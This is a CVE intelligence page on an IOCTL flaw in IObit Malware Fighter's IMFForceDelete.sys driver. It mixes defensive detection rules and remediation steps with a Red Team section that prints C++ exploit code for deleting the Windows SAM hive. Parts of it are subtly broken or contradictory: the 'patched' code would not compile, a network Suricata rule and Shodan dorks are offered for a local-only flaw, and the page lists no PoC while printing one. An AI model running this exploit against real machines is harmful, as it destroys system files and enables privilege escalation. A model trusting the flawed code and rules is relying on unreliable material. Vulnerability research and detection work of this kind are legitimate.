☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Iobit logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-782
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26125

CVE-2025-26125 Privilege Escalation in Iobit
📅 PUBLISHED: 2025-03-17 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1068
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26125 exposes a critical vulnerability in the IObit Malware Fighter v12.1.0 driver IMFForceDelete.sys. An exposed IOCTL (Input/Output Control) handler within this driver allows unprivileged attackers to send specially crafted DeviceIoControl requests, leading to arbitrary file deletion and privilege escalation. This flaw is particularly dangerous because it operates at the kernel level, bypassing standard user-mode access controls. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The attack vector is local, requiring the attacker to already have some level of access to the system, but the impact is severe: complete compromise of file integrity and system control.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a kernel driver issue within a commercial security product (IObit Malware Fighter). The supply chain risk is limited to the distribution of the vulnerable driver via official IObit channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a more realistic assessment would be:

  • Attack Vector (AV): Local (L) – Requires local access to the system.
  • Attack Complexity (AC): Low (L) – The IOCTL is exposed and can be called with minimal effort.
  • Privileges Required (PR): Low (L) – The attacker needs user-level privileges to call DeviceIoControl.
  • User Interaction (UI): None (N) – No user interaction is required.
  • Scope (S): Changed (C) – The vulnerability allows an attacker to break out of their user-level sandbox and affect kernel resources.
  • Confidentiality (C): High (H) – Arbitrary file deletion can destroy sensitive data.
  • Integrity (I): High (H) – System files can be deleted, leading to system instability.
  • Availability (A): High (H) – Deleting critical system files can cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Estimated Score: 8.8 (High)

Threat Level: High. The vulnerability is unpatched, and while no public exploit exists, the technical details are clear enough for a skilled attacker to develop one.

Deep Dive & Mechanics

The vulnerability resides in the IMFForceDelete.sys driver, which is part of IObit Malware Fighter. This driver is designed to forcefully delete files that are locked or in use by other processes. To achieve this, it exposes an IOCTL interface to user-mode applications.

The Flaw: The driver does not properly validate the source of the IOCTL request. Specifically, it does not check if the calling process has the necessary privileges (e.g., SeBackupPrivilege or SeRestorePrivilege) or if the target file path is within a safe boundary. An attacker with user-level privileges can craft a DeviceIoControl call with a maliciously constructed input buffer that includes a path to a critical system file (e.g., C:\Windows\System32\config\SAM or C:\Windows\System32\drivers\*.sys).

Mechanics:

  1. The attacker opens a handle to the IMFForceDelete device (e.g., \\.\IMFForceDelete).
  2. They prepare an input buffer containing the target file path and possibly flags indicating the deletion method.
  3. They call DeviceIoControl with the appropriate IOCTL code (likely undocumented but discoverable via reverse engineering).
  4. The driver, running in kernel mode, receives the request and, without proper authorization checks, proceeds to delete the specified file using kernel-level file operations (e.g., ZwDeleteFile).
  5. This allows the attacker to delete any file on the system, including protected system files, leading to privilege escalation (e.g., deleting a DLL loaded by a SYSTEM process) or denial of service.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is typical of a missing access check.

Vulnerable Code (Conceptual):

// IMFForceDelete.sys - Vulnerable IOCTL handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
        ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
        if (ioctlCode == IOCTL_FORCE_DELETE) {
            // VULNERABLE: No privilege check
            WCHAR targetPath[MAX_PATH];
            // Copy path from user input
            RtlCopyMemory(targetPath, Irp->AssociatedIrp.SystemBuffer, irpStack->Parameters.DeviceIoControl.InputBufferLength);
            // Delete the file
            ZwDeleteFile(targetPath);
            Irp->IoStatus.Status = STATUS_SUCCESS;
        }
    }
    // ...
}

Patched Code (Conceptual):

// IMFForceDelete.sys - Patched IOCTL handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
        ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
        if (ioctlCode == IOCTL_FORCE_DELETE) {
            // PATCHED: Check for SeBackupPrivilege
            if (!SeSinglePrivilegeCheck(SeBackupPrivilege, ExGetPreviousMode())) {
                Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
                break;
            }
            // Also validate the target path is not a system-protected file
            WCHAR targetPath[MAX_PATH];
            RtlCopyMemory(targetPath, Irp->AssociatedIrp.SystemBuffer, irpStack->Parameters.DeviceIoControl.InputBufferLength);
            if (IsSystemProtectedFile(targetPath)) {
                Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
                break;
            }
            ZwDeleteFile(targetPath);
            Irp->IoStatus.Status = STATUS_SUCCESS;
        }
    }
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Escalate privileges from a standard user to SYSTEM or delete critical files.

Prerequisites:

  • A Windows system with IObit Malware Fighter v12.1.0 installed.
  • A user account with standard privileges.
  • Knowledge of the IOCTL code (can be obtained via reverse engineering the driver).

Lab Setup:

  1. Install Windows 10/11 in a virtual machine.
  2. Install IObit Malware Fighter v12.1.0.
  3. Create a standard user account.
  4. Use a tool like WinDbg or IDA Pro to reverse engineer IMFForceDelete.sys and find the IOCTL code.

Exploit Code (Conceptual C++):

#include <windows.h>
#include <stdio.h>

#define IOCTL_FORCE_DELETE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\IMFForceDelete", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    // Target a critical system file
    WCHAR targetPath[] = L"\\??\\C:\\Windows\\System32\\config\\SAM";
    DWORD bytesReturned = 0;

    BOOL result = DeviceIoControl(hDevice, IOCTL_FORCE_DELETE, targetPath, sizeof(targetPath), NULL, 0, &bytesReturned, NULL);
    if (result) {
        printf("File deleted successfully!\n");
    } else {
        printf("DeviceIoControl failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Execution:

  1. Compile the exploit code as a standard user.
  2. Run the executable. If successful, the SAM file will be deleted, causing the system to become unbootable or allowing for privilege escalation via other means.

Blue Team (Detection & Response)

Detection:

  • Monitor for unusual CreateFile calls to \\.\IMFForceDelete.
  • Monitor for DeviceIoControl calls with suspicious IOCTL codes targeting this device.
  • Track file deletion events, especially for critical system files (e.g., SAM, SYSTEM, drivers).

Response:

  1. Immediately isolate the affected system.
  2. Check for the presence of the IMFForceDelete.sys driver.
  3. Review Windows Security Event Logs for Event ID 4656 (A handle to an object was requested) and Event ID 4663 (An attempt was made to access an object) related to the device.
  4. If exploitation is confirmed, perform a forensic analysis to determine the attacker's entry point and scope of damage.
  5. Reimage the system from a known good backup.

Indicators of Compromise (IOCs)

  • File System:
    • Presence of IMFForceDelete.sys in C:\Program Files\IObit\Malware Fighter\driver\
    • Unexpected deletion of files in C:\Windows\System32\config\, C:\Windows\System32\drivers\, or other protected directories.
  • Registry:
    • Service entry for IMFForceDelete under HKLM\SYSTEM\CurrentControlSet\Services\
  • Network:
    • No network indicators (local vulnerability).
  • Process:
    • Any process (especially non-SYSTEM) opening a handle to \\.\IMFForceDelete.
    • High volume of DeviceIoControl calls from a single process.

Detection Engineering

YARA Rule

rule CVE_2025_26125_IMFForceDelete_Driver {
    meta:
        description = "Detects the vulnerable IMFForceDelete.sys driver from IObit Malware Fighter"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "IMFForceDelete" wide ascii
        $s2 = "\\Device\\IMFForceDelete" wide ascii
        $s3 = "IObit Malware Fighter" wide ascii
    condition:
        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (1 of ($s*))
}

Sigma Rule

title: CVE-2025-26125 - IObit IMFForceDelete Driver Abuse
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit the exposed IOCTL in IMFForceDelete.sys
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4656
        ObjectName: '\\Device\\IMFForceDelete'
        AccessMask: '0x1'  # Read/Write access
    condition: selection
falsepositives:
    - Legitimate IObit Malware Fighter operations (rare)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-26125 - Potential IObit IMFForceDelete Exploitation"; content:"|5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 49 00 4d 00 46 00 46 00 6f 00 72 00 63 00 65 00 44 00 65 00 6c 00 65 00 74 00 65|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Driver: As an emergency measure, disable the IMFForceDelete service. Open an elevated Command Prompt and run:
    sc stop IMFForceDelete
    sc config IMFForceDelete start= disabled
    
  2. Uninstall IObit Malware Fighter: If the product is not critical, uninstall it completely.
  3. Monitor for Exploitation: Deploy the Sigma and YARA rules provided above.

Long-Term Fix:

  • Await an official patch from IObit. The vendor must implement proper privilege checks (e.g., SeBackupPrivilege) and path validation in the driver's IOCTL handler.
  • Consider replacing IObit Malware Fighter with a more security-conscious alternative.

Workarounds:

  • Use Windows Defender or another reputable security suite that does not rely on vulnerable kernel drivers.
  • Implement application whitelisting to prevent unauthorized executables from loading.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

IMFForceDelete
IObit Malware Fighter
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26125/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.